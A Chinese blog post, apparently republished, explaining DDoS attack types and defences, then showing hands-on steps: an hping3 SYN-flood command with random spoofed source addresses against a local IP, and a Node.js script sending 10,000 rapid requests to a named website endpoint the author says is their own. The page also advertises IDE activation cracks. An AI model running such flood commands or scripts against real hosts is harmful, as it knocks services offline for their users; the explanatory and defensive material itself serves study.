应对ddos攻击_网络安全主动攻击

应对ddos攻击_网络安全主动攻击主要讲解Ddos攻击原理和实践操作

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

1.引言

    讲个笑话:手中没有剑,和有剑不用是两种事,因此这里特地学了一下DDOS攻击。使用的工具主要事kali机中的hping3,网安实在是太神奇了,有很多牛逼的工具,但是由于时间有限,所以这里就只学一下hping3,本着能够完成攻击机的任务的目的来学习的。

2.什么是DDOS?

    首先需要明白DDOS是从DOS的基础上发展而来的,有一台电脑对另一台电脑的攻击变成了多台电脑对一台电脑的攻击,知乎上有很多有趣的比喻,有兴趣的可以去搜搜。Dos是一种拒绝服务(Denial of Service),DDos是一种分布式拒绝服务(Distributed Denial of Service),举个形象的例子就是:作为带恶霸的你看某个餐馆不爽,喊了1000个人去一个只能容纳500人同时就餐的餐馆,而这时你喊去的1000人不进行任何消费,其他想就餐的正常顾客也不能就餐。在互联网上DDOS攻击暴力而非常有效。表现为:你通过大量的数据包和目标服务器建立连接,占用目标服务器的带宽,导致目标服务器无法再去为正常的用户提供服务,表现为服务器炸了,如果是阿里云,当DDos攻击达到一定量,会触发阿里云服务器提供的“防御措施”,服务器直接被冻结,这也是本地写博问的终极目标(当然,攻击的是自己的服务器)。

3.DDOS的攻击原理

    这里的攻击原理主要来自于(B站的Ele实验室(DDoS技术鉴赏)),讲的是非常的精彩,总结如下:
(1)传输原理,TCP/IP的四层结构:应用层(固定数据包的格式)、传输层(规定传输方式,比如是否需要进行加急处理,经典的三次握手就发生在这里)、互联网层(具体的数据包传送)、子网层(具体的各种硬件载体,比如卫星网,以太网等)。
补充说明一下这个经典的三次握手:

发送方(first) 客户端
SYN 1
ACK 0
顺序号 x
确认号
发送方(second) 服务端
SYN 1
ACK 1
顺序号 y
确认号 x+1
发送方(third) 客户端
SYN 0
ACK 1
顺序号 x+1
确认号 y+1

(2)ICMP洪水,一直发送ping测试的ICMP数据包,拿自己的带宽换目标服务器的带宽;
(3)UDP洪水,UDP会暴露ip地址,UDP攻击中可能会涉及代理或者伪造他人ip地址,就形成了反射攻击,将目标地址(目标服务器)写清楚,接受地址写成广大的网络ip,也就是让这些ip去中转。
(4)上面的这两种攻击被形象称为,伤敌1000,自损800。放大攻击,一般可以利用多种网络传输过程实现:
    a.DNS服务器,DNS服务器的原理是,拿到域名换成带有ip信息的数据包(通常向DNS请求的数据包远小于查询结果的含ip信息数据包,参考数据:50倍),如果将DNS查询地址改成目标服务器,那就是帮他向DNS服务器使用域名换ip操作。直接将攻击放大了50被。
    b.TCP洪水,服务端中有一个TCP维护表,用来记录已经经过三次握手建立连接的连接数据,这个数据表记录数量有上限,占满之后无法响应之后的TCP请求,但不能伪造ip,否则3次握手不成功,可以直接发了第一次TCP握手包不管,然后基于重传机制,服务端会会一直向客户端发多次响应包直到出现超时,也算是放大方式。
    c.RST洪水,在TCP协议中使用4次挥手结束连接,还可以由一方使用RST数据(带有断开连接发起方的ip地址)强制断开连接,这样作为攻击方就能直接发送RST数据盲打,导致正常使用的用户与服务端断开连接。
    d.基于应用层的代理攻击,原理很好理解,比如搜索一个关键字,但是实际上服务端要做的任务是比较多的,包括查库匹配等,这样如果一下子直接请求大量的查询接口,让服务器吃不消,使用代理是因为一般接口还是基于tcp的需要握手,也就是ip会暴露,所以使用代理。

4.DDOS的防御手段

(1)网络设备ip过滤,在传输的时候每个路由器只传输属于本网段的数据,如果不是本网段的数据,不予以再次发送,这样就能够有效处理ip伪造。
(2)分布式过滤,由于很多路由器是固定的,因此在传输的时候一般数据的传输过程比较固定,如果如果经过了某个不常用的路由节点,说明这个数据包很可能是伪造的。
(3)前两者涉及运营商和开发者等,很难实现,成本比较高。还有一种利用CDN方法,用户请求数据的时候总会请求更近的CDN服务器数据,减少了对中央服务器的压力,对应用层攻击相对有效。
(4)流量清洗,主要为了在握手阶段筛洗请求连接,主要针对用户伪造ip发送第一个握手包,让服务端白白回了10几次的握手第二截断的握手包,清洗设备参与之后,清晰设备会担任第二阶段握手包的功能,回复客户端第二次握手包,如果客户端回复了,就会将本次连接交给服务器正常通信。在应用层方便,清晰工具能够记录非法IP库,如果数据包来自于非法ip库,将直接断开本次连接。

5.什么是hping3?

    hping (官网链接)是一款 TCP / IP 数据包编辑器/分析器。它支持TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,在覆盖通道之间发送文件的功能以及许多其他功能。内部参数解释如下(因为我不是专业的,所以这里直接搬运了大佬的参数翻译,方便大家更好的理解使用,仅展示常用参数,已在参考文献中说明):

  -A  --ack        set ACK flag   ------------------------------------- (设置 TCP 的 ACK 标志 位)
  -a  	--spoof      spoof source address  //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
	--rand-dest      random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
 	--rand-source    random source address mode. see the man.       // 随机源地址模式。详细使用 man 命令
  -c  --count     发送数据包的数目(至于一个数据包多大,后面再来分析)
  -d  --data       data size    (default is 0)    // 发送数据包大小,缺省是0。
  -i   --interval  发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
        --fast      等同 -i u10000 (每秒10个包)
        --faster    等同 -i u1000 (每秒100个包)
        --flood	  尽最快发送数据包,不显示回复。
  -I  --interface 网卡接口 (默认路由接口)
  -k  --keep       keep still source port     // 保持源端口
  -n  --numeric   数字化输出,象征性输出主机地址。
  -p  --destport   [+][+]<port> destination port  // 缺省随机源端口
  -R  --rst        set RST flag
  -S  --syn        set SYN flag
  -s  --baseport   base source port    // 缺省随机源端口
  -t  --ttl        ttl (默认 64)  //修改 ttl 值,甚至能够用来误导操作系统捕获
  -w  --win        winsize (default 64)       // win的滑动窗口。windows发送字节(默认64)

6.实践验证

    先拿一个本地搭建的服务器试试水,攻击指令如下:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.109
说明:每次发送10000个握手包,握手包大小为120字节,使用的窗口大小为64,攻击端口为80,随机源地址,目标地址:192.168.0.109。
在这里插入图片描述
    如果攻击失败,可能是每次发送的数据包数量不够或者攻击时间较短,耐心等一段时间(大概30s就崩了)。
    接下来尝试攻击自己的服务器,实践发现攻击自己的阿里云服务器是无效的(从面板上看这数据量完全对不上),之后我去查了一下原因,最后在一篇文章中找到了答案(三分钟了解阿里云和腾讯云的DDoS防御策略):

针对DDoS攻击,阿里云和腾讯云都有相应的政策,阿里云叫黑洞政策,腾讯云叫ip封堵。有些新入门的网友会认为既然买了阿里云或腾讯云的云服务器,那服务商就自然而然应该提供防攻击保护。而实际上服务商也的确提供了保护,只不过
DDoS 防御带宽费用很高,所以,只能是提供一定限额的防攻击保护,超过了就被停止访问了。当然,我们可以通过买付费服务提升保护。

反思攻击失效原因,应该是阿里云服务器做了安全防御,并且我使用的攻击手段又太普遍了。很容易就被防御了,实际到达阿里云服务器的流量几乎没有多少。
但是想攻击也不是不行,只是没有那么高级,这里直接基于应用层接口攻击,连续请求大量的接口是服务器响应不过来(影响是服务器级别的,不针对某个应用):

//node.js写的
const request = require("request");
function launchRequest() { 
   
  request(
    { 
   
    //这里暴露了我的网站,请不要恶意攻击,虽然我没有完成对我服务器的攻击,
    //但是不表示不能攻击,有些地方还是有大佬封装的ddos攻击工具和网站。
    //我可不想我想鱼皮一样惨,请大佬高抬贵手,学习的目的不是为了去攻打被人,
    //而是了解原理。让自己手中有剑。
      url: 
      "https://nightowl.top/index/getSwiperList",
      method: "GET",
      json: true,
    },
    (err, rep, body) => { 
   
      if (err) { 
   
        console.log("完成学习接口调用失败:", err);
        return false;
      }
      if (body.code == 0) { 
   
        console.log("输出返回数据:", body);
      }
    }
  );
}
module.exports = async (ctx) => { 
   
  for (let i = 0; i < 10000; i++) { 
   
    launchRequest();
  }
};

在这里插入图片描述
防御手段:对网站接口请求做延时处理,要求用户请求带上token用于验证并且带上时间戳,用于限制请求频次,当然我这个网站写的比较简陋,加上当时学的东西比较少。

7.参考文献

(1)hping3使用详解

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/184755.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 小甲鱼零基础入门学习python笔记

    小甲鱼零基础入门学习python笔记小甲鱼老师零基础入门学习Python全套资料百度云(包括小甲鱼零基础入门学习Python全套视频+全套源码+全套PPT课件+全套课后题及Python常用工具包链接、电子书籍等)请往我的资源(https://download.csdn.net/download/qq_32809093/11528609)查看000愉快的开始python跨平台。应用范围:操作系统、WEB、3D动画、企业应用…

  • java引用变量存放在哪_java成员变量存储在哪个内存区域

    java引用变量存放在哪_java成员变量存储在哪个内存区域我们说常量,静态变量存放在方法区中,方法中的临时变量,存放到Java虚拟栈中。有人问,那全局变量*(对象)存放在哪里.其实全局变量就是参考文章中所说的class的字段,就是指全局变量,它是存放在方法区中的。e)方法区与堆一样,是被线程共享的区域。在方法区中,存储了每个类的信息(包括类的名称、方法信息、字段信息)、静态变量、常量以及编译器编译后的代码等。在Class文件中除了类的字段、方法、接…

  • idea2021.4.2激活码失效_通用破解码「建议收藏」

    idea2021.4.2激活码失效_通用破解码,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

  • bigdecimal保留两位小数,不够两位补0_如何保留两位小数

    bigdecimal保留两位小数,不够两位补0_如何保留两位小数BigDecimal保留两位小数核心方法详解:/**BigDecimal.setScale()方法用于格式化小数点setScale(1)表示保留一位小数,默认用四舍五入方式*setScale(1,BigDecimal.ROUND_DOWN)直接删除多余的小数位,如2.35会变成2.3*setScale(1,BigDecimal.ROUND_UP)进位处理,2.35变成2.4*setScale(1,BigDecimal.ROUND_HALF_UP)四舍五入,2.35变成2.4*

  • db4o数据库的基本操作

    db4o数据库的基本操作对db4o(面向对象的数据库)的基本操作: 数据库的链接:privatestaticObjectContainerdb; finalstaticStringDB4OFILENAME=System.getProperty("user.dir") +"/database.db4o"; static{ db=Db4oEmbedde…

  • win10自动更新有效强制永久关闭怎么办_win10怎么不自动更新

    win10自动更新有效强制永久关闭怎么办_win10怎么不自动更新网上的一些Win10彻底关闭WindowsUpdate自动更新的方法,主要是通过一些如设置流量计费或借助一些专门的小工具来实现,比如360来限速,但往往会发现,Win10自动更新就像打不死的小强,不管怎么关闭,之后还是会自动更新,让不少小伙伴颇为不爽。今天为大家带来了这篇教程,通过服务、注册表、组策略、计划任务中,全方位设置,彻底关闭Win10自动更新,感兴趣的小伙伴不妨试试吧。服务中关闭Wi…

    2022年10月31日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号